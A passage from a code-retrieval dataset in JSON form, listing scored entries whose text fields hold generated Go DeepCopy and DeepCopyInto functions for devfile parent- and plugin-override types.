*KubernetesComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KubernetesComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3c8a0c233db7eb50e000f29abc6b3a3a", "score": "0.8288479", "text": "func (in *CommandPluginOverrideParentOverride) DeepCopy() *CommandPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "065642f0dce80fbc8b8a00d013ac2c7a", "score": "0.8284986", "text": "func (in *VolumeComponentParentOverride) DeepCopy() *VolumeComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c34b1a988daa4df8219830f70f977103", "score": "0.8271543", "text": "func (in *ContainerComponentPluginOverrideParentOverride) DeepCopy() *ContainerComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ContainerComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6adbda4fd813ef6b9b8abd13e6ca502e", "score": "0.82685083", "text": "func (in *BaseImagePluginOverrideParentOverride) DeepCopy() *BaseImagePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseImagePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5388d550a21de682978290f772fa6dd4", "score": "0.82567954", "text": "func (in *ImageComponentPluginOverrideParentOverride) DeepCopy() *ImageComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImageComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0a31cb7ddf4f16463e3cc1f3431af2fb", "score": "0.8250438", "text": "func (in *DockerfileImagePluginOverrideParentOverride) DeepCopy() *DockerfileImagePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileImagePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1bc3cf6a841097a6608de1982f7973f0", "score": "0.82487226", "text": "func (in *K8sLikeComponentPluginOverrideParentOverride) DeepCopy() *K8sLikeComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(K8sLikeComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6b16386e3d3c7eb1ba3d8dc15d7fd8fd", "score": "0.8222133", "text": "func (in *K8sLikeComponentLocationPluginOverrideParentOverride) DeepCopy() *K8sLikeComponentLocationPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(K8sLikeComponentLocationPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7ce07556f86386d0f62a722e6d4a6afc", "score": "0.82198447", "text": "func (in *CompositeCommandPluginOverrideParentOverride) DeepCopy() *CompositeCommandPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CompositeCommandPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "18198c6e70977dbe1e8d1241fee4945c", "score": "0.8209949", "text": "func (in *VolumeMountParentOverride) DeepCopy() *VolumeMountParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeMountParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "667df286624fc2c6ae2e4bd0e037a55f", "score": "0.8201782", "text": "func (in *ContainerPluginOverrideParentOverride) DeepCopy() *ContainerPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ContainerPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7826dc175384baa14a3f70f6216d0e27", "score": "0.8200188", "text": "func (in *ImagePluginOverrideParentOverride) DeepCopy() *ImagePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImagePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c7e57557d7e99356e382ffb96284454b", "score": "0.81925935", "text": "func (in *ComponentPluginOverrideParentOverride) DeepCopy() *ComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9a373f91e0d6698d3c89ab2a26522f0e", "score": "0.81874657", "text": "func (in *DockerfileSrcPluginOverrideParentOverride) DeepCopy() *DockerfileSrcPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileSrcPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "54e3cc46fd5458d702a69180ab6a77ac", "score": "0.81584924", "text": "func (in *PluginComponentParentOverride) DeepCopy() *PluginComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(PluginComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "dcfb8f30da38f033773ecc5d597d089c", "score": "0.8155966", "text": "func (in *CommandGroupPluginOverrideParentOverride) DeepCopy() *CommandGroupPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandGroupPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "784a244211923cbbe08b9b2c467d5a57", "score": "0.815459", "text": "func (in *LabeledCommandPluginOverrideParentOverride) DeepCopy() *LabeledCommandPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LabeledCommandPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "293439a429e445ad568608b43dfb3d10", "score": "0.8132783", "text": "func (in *VolumeParentOverride) DeepCopy() *VolumeParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "39069e9ba4029d2830629dfa37cdfdee", "score": "0.8127052", "text": "func (in *ApplyCommandPluginOverrideParentOverride) DeepCopy() *ApplyCommandPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ApplyCommandPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "94689b963a6db47d0c6f4d070132f25f", "score": "0.81138676", "text": "func (in *ImageUnionPluginOverrideParentOverride) DeepCopy() *ImageUnionPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImageUnionPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ea19e1daf8df92e5f6128f20c75008df", "score": "0.809694", "text": "func (in *AnnotationPluginOverrideParentOverride) DeepCopy() *AnnotationPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(AnnotationPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ab45b90327b2d1264ca5c2db4b5f41e3", "score": "0.8080218", "text": "func (in *CommandUnionPluginOverrideParentOverride) DeepCopy() *CommandUnionPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandUnionPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5c635968af0e4f1a578146db1a305645", "score": "0.8049561", "text": "func (in *OpenshiftComponentPluginOverrideParentOverride) DeepCopy() *OpenshiftComponentPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(OpenshiftComponentPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "cfe624aa32c5026a4bf59604d78efcc4", "score": "0.8039877", "text": "func (in *EnvVarPluginOverrideParentOverride) DeepCopy() *EnvVarPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EnvVarPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c87a32791343f0088033ecd4621aec77", "score": "0.80322874", "text": "func (in *GitLikeProjectSourcePluginOverrideParentOverride) DeepCopy() *GitLikeProjectSourcePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GitLikeProjectSourcePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "23c15feffe1363b1358755b70c538445", "score": "0.80254745", "text": "func (in *DockerfileGitProjectSourcePluginOverrideParentOverride) DeepCopy() *DockerfileGitProjectSourcePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileGitProjectSourcePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3d42145fd1bd56cd9ea00956f4b554b2", "score": "0.80035406", "text": "func (in *ComponentUnionPluginOverrideParentOverride) DeepCopy() *ComponentUnionPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ComponentUnionPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "45b0af5efb0f6b416310ee7c7546dbee", "score": "0.7989699", "text": "func (in *EndpointPluginOverrideParentOverride) DeepCopy() *EndpointPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EndpointPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5aba78a78c58cb6d10a574c2001bc06b", "score": "0.7978035", "text": "func (in *GitProjectSourcePluginOverrideParentOverride) DeepCopy() *GitProjectSourcePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GitProjectSourcePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "cc87e3fcaff2b75b494046c547be1db4", "score": "0.7959077", "text": "func (in *PluginOverridesParentOverride) DeepCopy() *PluginOverridesParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(PluginOverridesParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3039a729557ba5aed88bd75e3965f07a", "score": "0.79492235", "text": "func (in *ExecCommandPluginOverrideParentOverride) DeepCopy() *ExecCommandPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ExecCommandPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "bad6cd0e12c8005550c9eef8b89573fb", "score": "0.7890899", "text": "func (in *KubernetesComponentParentOverride) DeepCopy() *KubernetesComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KubernetesComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ecd609120b3db96063382b34a2db1097", "score": "0.7844424", "text": "func (in *CommonProjectSourcePluginOverrideParentOverride) DeepCopy() *CommonProjectSourcePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommonProjectSourcePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a85e2f3219c89cfbb26bfd4d952a3fb1", "score": "0.7814642", "text": "func (in *DockerfileDevfileRegistrySourcePluginOverrideParentOverride) DeepCopy() *DockerfileDevfileRegistrySourcePluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileDevfileRegistrySourcePluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "2aeecec0a134a7c779c780d44bb98aec", "score": "0.7778134", "text": "func (in *ContainerComponentParentOverride) DeepCopy() *ContainerComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ContainerComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9435f572db18ba5759131454255b0ab9", "score": "0.7768663", "text": "func (in *CompositeCommandParentOverride) DeepCopy() *CompositeCommandParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CompositeCommandParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "055e7eb596c14162cb2e3f5109ab51a3", "score": "0.77598137", "text": "func (in *ImageComponentParentOverride) DeepCopy() *ImageComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImageComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1484be795ea387676709cec478a7dd4e", "score": "0.775137", "text": "func (in *BaseComponentParentOverride) DeepCopy() *BaseComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "eab675eeb59998b8ecc0be176049032e", "score": "0.7736781", "text": "func (in *ContainerParentOverride) DeepCopy() *ContainerParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ContainerParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "335a70c1bcd6d397b0fc3982fedfdac8", "score": "0.7726799", "text": "func (in *K8sLikeComponentParentOverride) DeepCopy() *K8sLikeComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(K8sLikeComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e843cbdaa01e5884aa864bc6069accf6", "score": "0.76852983", "text": "func (in *CheckoutFromPluginOverrideParentOverride) DeepCopy() *CheckoutFromPluginOverrideParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CheckoutFromPluginOverrideParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "89e7002c6c95dc835626d4e0bacc73f9", "score": "0.76473105", "text": "func (in *ComponentParentOverride) DeepCopy() *ComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6c4048960297de21ea2ff6838aa54757", "score": "0.7585895", "text": "func (in *CommandParentOverride) DeepCopy() *CommandParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "92a36a2808b655ba99efdc1dbe7654f5", "score": "0.7571097", "text": "func (in *BaseCommandParentOverride) DeepCopy() *BaseCommandParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseCommandParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c0a163a514d5d43d2282b1cf394301bd", "score": "0.75332344", "text": "func (in *OverridesBaseParentOverride) DeepCopy() *OverridesBaseParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(OverridesBaseParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8ffcccb2f3bcb62bdd06719454538474", "score": "0.7529507", "text": "func (in *DockerfileParentOverride) DeepCopy() *DockerfileParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1f5fdf9f1bd1a39445ce49d7e677f933", "score": "0.7519611", "text": "func (in *OpenshiftComponentParentOverride) DeepCopy() *OpenshiftComponentParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(OpenshiftComponentParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3c794b3db3bb6dd6060a80ccd805c44c", "score": "0.74920255", "text": "func (in *StarterProjectParentOverride) DeepCopy() *StarterProjectParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(StarterProjectParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7354b0b9004460f072809d33d6db7fc3", "score": "0.74692714", "text": "func (in *AnnotationParentOverride) DeepCopy() *AnnotationParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(AnnotationParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "16c2b0f8fbeca97225ae45ef89f19eca", "score": "0.7464529", "text": "func (in *BaseImageParentOverride) DeepCopy() *BaseImageParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseImageParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8840671f2f6e2459dd686e3a8eff5b0c", "score": "0.7448838", "text": "func (in *DockerfileImageParentOverride) DeepCopy() *DockerfileImageParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileImageParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5a1c2b1e69f0ef3cfaf58520b1eb82d0", "score": "0.74326056", "text": "func (in *DockerfileSrcParentOverride) DeepCopy() *DockerfileSrcParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileSrcParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0ee674a20512e81ef9c1a15a6d2f4746", "score": "0.74117523", "text": "func (in *ImageParentOverride) DeepCopy() *ImageParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImageParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8eceba3ea37dab715f9e133e67cc099b", "score": "0.7390478", "text": "func (in *ImportReferenceParentOverride) DeepCopy() *ImportReferenceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImportReferenceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a057fa402eed0725786899159dea1498", "score": "0.73883593", "text": "func (in *K8sLikeComponentLocationParentOverride) DeepCopy() *K8sLikeComponentLocationParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(K8sLikeComponentLocationParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "57efbb756412be0ea436f76bceb8e243", "score": "0.7366135", "text": "func (in *KubernetesCustomResourceImportReferenceParentOverride) DeepCopy() *KubernetesCustomResourceImportReferenceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KubernetesCustomResourceImportReferenceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "011056b4ea338d16c4ba55d20dabaf6a", "score": "0.73569554", "text": "func (in *CommandGroupParentOverride) DeepCopy() *CommandGroupParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandGroupParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a08ed34aebf1d22cb84dea3ab54f5302", "score": "0.73015714", "text": "func (in *LabeledCommandParentOverride) DeepCopy() *LabeledCommandParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LabeledCommandParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "fa213f2f16e4a021a3f3400586ee1819", "score": "0.7293332", "text": "func (in *ApplyCommandParentOverride) DeepCopy() *ApplyCommandParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ApplyCommandParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "fa01d66696a265a4ee2ebceaecb7d560", "score": "0.7239312", "text": "func (in *GitLikeProjectSourceParentOverride) DeepCopy() *GitLikeProjectSourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GitLikeProjectSourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "bd08da899d3ce3fcc118d331f76089a2", "score": "0.7236974", "text": "func (in *ImageUnionParentOverride) DeepCopy() *ImageUnionParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImageUnionParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "f95fc4664027aefcdd336774afe32fb3", "score": "0.7178332", "text": "func (in *ProjectParentOverride) DeepCopy() *ProjectParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProjectParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "e8b77801e270465df3f2f57239dab419", "score": "0.7121302", "text": "func (in *DockerfileGitProjectSourceParentOverride) DeepCopy() *DockerfileGitProjectSourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileGitProjectSourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "2c485bcfbeacca26487cca7aca89b50f", "score": "0.70930994", "text": "func (in *VolumeMountPluginOverride) DeepCopy() *VolumeMountPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeMountPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "4c41f1af68ae6585afe29a1025f7b94d", "score": "0.7078824", "text": "func (in *GitProjectSourceParentOverride) DeepCopy() *GitProjectSourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(GitProjectSourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1c01e55848475efb3d65178b8af58c42", "score": "0.7042488", "text": "func (in *ImportReferenceUnionParentOverride) DeepCopy() *ImportReferenceUnionParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ImportReferenceUnionParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0cfbd572268f16a567332dfbb8095a7e", "score": "0.70357096", "text": "func (in *ComponentUnionParentOverride) DeepCopy() *ComponentUnionParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ComponentUnionParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1eb63ea0567e2884386992e54ce73f13", "score": "0.7021165", "text": "func (in *ProjectSourceParentOverride) DeepCopy() *ProjectSourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ProjectSourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "52b85879de5300d25c8d6920c8280962", "score": "0.70023555", "text": "func (in *CommonProjectSourceParentOverride) DeepCopy() *CommonProjectSourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommonProjectSourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "316bc2c28224da81f1f2c19aed5e3421", "score": "0.6996166", "text": "func (in *ParentOverrides) DeepCopy() *ParentOverrides {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ParentOverrides)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5f4e178833d0e26cd570cbcec66aa19f", "score": "0.699042", "text": "func (in *EndpointParentOverride) DeepCopy() *EndpointParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EndpointParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "d0417bf9002ff85a0d84755ece4d5977", "score": "0.6985277", "text": "func (in *EnvVarParentOverride) DeepCopy() *EnvVarParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EnvVarParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b2384c2b6dce5a28aac48f66b269f584", "score": "0.69831806", "text": "func (in *CommandUnionParentOverride) DeepCopy() *CommandUnionParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandUnionParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ec043b2afad5158031527ca27d7e502e", "score": "0.6856359", "text": "func (in *DockerfileDevfileRegistrySourceParentOverride) DeepCopy() *DockerfileDevfileRegistrySourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileDevfileRegistrySourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "2c411a56e4e6adf87dd6d88e16a20106", "score": "0.6823908", "text": "func (in *ZipProjectSourceParentOverride) DeepCopy() *ZipProjectSourceParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ZipProjectSourceParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a71f67d2bee338a4d6957fb5d5ed3dbd", "score": "0.6809344", "text": "func (in *CheckoutFromParentOverride) DeepCopy() *CheckoutFromParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CheckoutFromParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "73b42b76551795f5c200532243678b1a", "score": "0.6789981", "text": "func (in *ExecCommandParentOverride) DeepCopy() *ExecCommandParentOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ExecCommandParentOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "98c01b2e7654a9be1fa3920ef520380f", "score": "0.6542273", "text": "func (in *VolumePluginOverride) DeepCopy() *VolumePluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumePluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3881ec564c8050bd767bf9c2f720a982", "score": "0.64436585", "text": "func (in *VolumeComponentPluginOverride) DeepCopy() *VolumeComponentPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VolumeComponentPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "391b59d51c1e31da76e7ddbcfafa22e9", "score": "0.6264457", "text": "func (in *VolumeMountPluginOverrideParentOverride) DeepCopyInto(out *VolumeMountPluginOverrideParentOverride) {\n\t*out = *in\n}", "title": "" }, { "docid": "94c7bd93f445e9e62b53bd65c1e9a8b2", "score": "0.61248183", "text": "func (in *DockerfilePluginOverride) DeepCopy() *DockerfilePluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfilePluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "978cd7aa44000dca14d7d0b5291d7814", "score": "0.608755", "text": "func (in *DockerfileSrcPluginOverride) DeepCopy() *DockerfileSrcPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DockerfileSrcPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3977b9b04e2af12524d6fe5de7e7db66", "score": "0.5957486", "text": "func (in *BaseCommandPluginOverride) DeepCopy() *BaseCommandPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BaseCommandPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a98ecc58fad1dd7d0cd4d6822dc1e09e", "score": "0.5930417", "text": "func (in *K8sLikeComponentPluginOverride) DeepCopy() *K8sLikeComponentPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(K8sLikeComponentPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "52477a03c65e2821683ec65c61c858b2", "score": "0.5902467", "text": "func (in *CommandPluginOverride) DeepCopy() *CommandPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CommandPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "d4be62f7c6602fabc50bd474c447514d", "score": "0.5894456", "text": "func (in *ContainerComponentPluginOverride) DeepCopy() *ContainerComponentPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ContainerComponentPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8ee7fed19c7a41b22a93116bd34bcc80", "score": "0.58605534", "text": "func (in *CompositeCommandPluginOverride) DeepCopy() *CompositeCommandPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(CompositeCommandPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c744e372b53eb6ed80ece122d730aec0", "score": "0.5848195", "text": "func (in *K8sLikeComponentLocationPluginOverrideParentOverride) DeepCopyInto(out *K8sLikeComponentLocationPluginOverrideParentOverride) {\n\t*out = *in\n}", "title": "" }, { "docid": "f330eebb779f4c6985576eb838bac205", "score": "0.58450556", "text": "func (in *ContainerPluginOverride) DeepCopy() *ContainerPluginOverride {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ContainerPluginOverride)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { 